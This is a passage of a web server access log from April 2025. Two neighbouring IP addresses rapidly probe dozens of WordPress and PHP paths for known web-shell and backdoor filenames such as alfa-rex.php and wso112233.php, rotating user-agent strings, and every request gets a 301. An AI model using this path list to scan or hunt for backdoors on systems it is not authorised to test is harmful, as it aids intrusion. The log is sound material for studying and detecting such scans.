/wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/PHPMailer/puran.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:10 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/images/wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/css/colors/coffee/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /files/ban.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/languages/factory_wpdialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:11 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/maint/qugpVj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:11 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/Text/dashboard.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:12 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:12 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:12 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:12 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:13 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:13 -0400] "GET 